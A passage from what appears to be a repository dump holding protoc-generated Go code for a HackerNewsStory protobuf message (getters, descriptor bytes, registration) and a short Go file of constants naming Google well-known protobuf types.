x.Time 100 | } 101 | return 0 102 | } 103 | 104 | func (x *HackerNewsStory) GetTimeTs() *timestamppb.Timestamp { 105 | if x != nil { 106 | return x.TimeTs 107 | } 108 | return nil 109 | } 110 | 111 | func (x *HackerNewsStory) GetTitle() string { 112 | if x != nil { 113 | return x.Title 114 | } 115 | return "" 116 | } 117 | 118 | func (x *HackerNewsStory) GetUrl() string { 119 | if x != nil { 120 | return x.Url 121 | } 122 | return "" 123 | } 124 | 125 | func (x *HackerNewsStory) GetText() string { 126 | if x != nil { 127 | return x.Text 128 | } 129 | return "" 130 | } 131 | 132 | func (x *HackerNewsStory) GetDeleted() bool { 133 | if x != nil { 134 | return x.Deleted 135 | } 136 | return false 137 | } 138 | 139 | func (x *HackerNewsStory) GetDead() bool { 140 | if x != nil { 141 | return x.Dead 142 | } 143 | return false 144 | } 145 | 146 | func (x *HackerNewsStory) GetDescendants() int32 { 147 | if x != nil { 148 | return x.Descendants 149 | } 150 | return 0 151 | } 152 | 153 | func (x *HackerNewsStory) GetAuthor() string { 154 | if x != nil { 155 | return x.Author 156 | } 157 | return "" 158 | } 159 | 160 | var File_einride_bigquery_public_v1_hacker_news_story_proto protoreflect.FileDescriptor 161 | 162 | var file_einride_bigquery_public_v1_hacker_news_story_proto_rawDesc = []byte{ 163 | 0x0a, 0x32, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 0x67, 0x71, 0x75, 0x65, 164 | 0x72, 0x79, 0x2f, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2f, 0x76, 0x31, 0x2f, 0x68, 0x61, 0x63, 165 | 0x6b, 0x65, 0x72, 0x5f, 0x6e, 0x65, 0x77, 0x73, 0x5f, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x2e, 0x70, 166 | 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1a, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x62, 0x69, 167 | 0x67, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2e, 0x76, 0x31, 168 | 0x1a, 0x1f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 169 | 0x66, 0x2f, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 170 | 0x6f, 0x22, 0xb4, 0x02, 0x0a, 0x0f, 0x48, 0x61, 0x63, 0x6b, 0x65, 0x72, 0x4e, 0x65, 0x77, 0x73, 171 | 0x53, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 172 | 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x62, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 173 | 0x09, 0x52, 0x02, 0x62, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 174 | 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 175 | 0x69, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x12, 176 | 0x33, 0x0a, 0x07, 0x74, 0x69, 0x6d, 0x65, 0x5f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 177 | 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 178 | 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x06, 0x74, 0x69, 179 | 0x6d, 0x65, 0x54, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x18, 0x06, 0x20, 180 | 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x75, 0x72, 181 | 0x6c, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x12, 0x0a, 0x04, 182 | 0x74, 0x65, 0x78, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x65, 0x78, 0x74, 183 | 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 184 | 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 185 | 0x61, 0x64, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x61, 0x64, 0x12, 0x20, 186 | 0x0a, 0x0b, 0x64, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x61, 0x6e, 0x74, 0x73, 0x18, 0x0b, 0x20, 187 | 0x01, 0x28, 0x05, 0x52, 0x0b, 0x64, 0x65, 0x73, 0x63, 0x65, 0x6e, 0x64, 0x61, 0x6e, 0x74, 0x73, 188 | 0x12, 0x16, 0x0a, 0x06, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 189 | 0x52, 0x06, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x42, 0x5f, 0x5a, 0x5d, 0x67, 0x6f, 0x2e, 0x65, 190 | 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2e, 0x74, 0x65, 0x63, 0x68, 0x2f, 0x70, 0x72, 0x6f, 0x74, 191 | 0x6f, 0x62, 0x75, 0x66, 0x2d, 0x61, 0x76, 0x72, 0x6f, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 192 | 0x61, 0x6c, 0x2f, 0x65, 0x78, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x74, 193 | 0x6f, 0x2f, 0x67, 0x65, 0x6e, 0x2f, 0x65, 0x69, 0x6e, 0x72, 0x69, 0x64, 0x65, 0x2f, 0x62, 0x69, 194 | 0x67, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2f, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x2f, 0x76, 0x31, 195 | 0x3b, 0x70, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 196 | 0x33, 197 | } 198 | 199 | var ( 200 | file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescOnce sync.Once 201 | file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescData = file_einride_bigquery_public_v1_hacker_news_story_proto_rawDesc 202 | ) 203 | 204 | func file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescGZIP() []byte { 205 | file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescOnce.Do(func() { 206 | file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescData = protoimpl.X.CompressGZIP(file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescData) 207 | }) 208 | return file_einride_bigquery_public_v1_hacker_news_story_proto_rawDescData 209 | } 210 | 211 | var file_einride_bigquery_public_v1_hacker_news_story_proto_msgTypes = make([]protoimpl.MessageInfo, 1) 212 | var file_einride_bigquery_public_v1_hacker_news_story_proto_goTypes = []any{ 213 | (*HackerNewsStory)(nil), // 0: einride.bigquery.public.v1.HackerNewsStory 214 | (*timestamppb.Timestamp)(nil), // 1: google.protobuf.Timestamp 215 | } 216 | var file_einride_bigquery_public_v1_hacker_news_story_proto_depIdxs = []int32{ 217 | 1, // 0: einride.bigquery.public.v1.HackerNewsStory.time_ts:type_name -> google.protobuf.Timestamp 218 | 1, // [1:1] is the sub-list for method output_type 219 | 1, // [1:1] is the sub-list for method input_type 220 | 1, // [1:1] is the sub-list for extension type_name 221 | 1, // [1:1] is the sub-list for extension extendee 222 | 0, // [0:1] is the sub-list for field type_name 223 | } 224 | 225 | func init() { file_einride_bigquery_public_v1_hacker_news_story_proto_init() } 226 | func file_einride_bigquery_public_v1_hacker_news_story_proto_init() { 227 | if File_einride_bigquery_public_v1_hacker_news_story_proto != nil { 228 | return 229 | } 230 | type x struct{} 231 | out := protoimpl.TypeBuilder{ 232 | File: protoimpl.DescBuilder{ 233 | GoPackagePath: reflect.TypeOf(x{}).PkgPath(), 234 | RawDescriptor: file_einride_bigquery_public_v1_hacker_news_story_proto_rawDesc, 235 | NumEnums: 0, 236 | NumMessages: 1, 237 | NumExtensions: 0, 238 | NumServices: 0, 239 | }, 240 | GoTypes: file_einride_bigquery_public_v1_hacker_news_story_proto_goTypes, 241 | DependencyIndexes: file_einride_bigquery_public_v1_hacker_news_story_proto_depIdxs, 242 | MessageInfos: file_einride_bigquery_public_v1_hacker_news_story_proto_msgTypes, 243 | }.Build() 244 | File_einride_bigquery_public_v1_hacker_news_story_proto = out.File 245 | file_einride_bigquery_public_v1_hacker_news_story_proto_rawDesc = nil 246 | file_einride_bigquery_public_v1_hacker_news_story_proto_goTypes = nil 247 | file_einride_bigquery_public_v1_hacker_news_story_proto_depIdxs = nil 248 | } 249 | -------------------------------------------------------------------------------- /internal/wkt/wkt.go: -------------------------------------------------------------------------------- 1 | package wkt 2 | 3 | const ( 4 | Timestamp = "google.protobuf.Timestamp" 5 | Duration = "google.protobuf.Duration" 6 | Struct = "google.protobuf.Struct" 7 | Any = "google.protobuf.Any" 8 | TimeOfDay = "google.type.TimeOfDay" 9 | Date = "google.type.Date" 10 | DateTime = "google.type.DateTime" 11 | LatLng = "google.type.LatLng" 12 | DoubleValue = "google.protobuf.DoubleValue" 13 | FloatValue = "google.protobuf.FloatValue" 14 | Int32Value = "google.protobuf.Int32Value" 15 | Int64Value = "google.protobuf.Int64Value" 16 | UInt32Value = "google.protobuf.UInt32Value" 17 | UInt64Value = "google.protobuf.UInt64Value" 18 | BoolValue = "google.protobuf.BoolValue" 19 | StringValue = "google.protobuf.StringValue" 20 | BytesValue = "google.protobuf.BytesValue" 21 | ) 22 | --------------------------------------------------------------------------------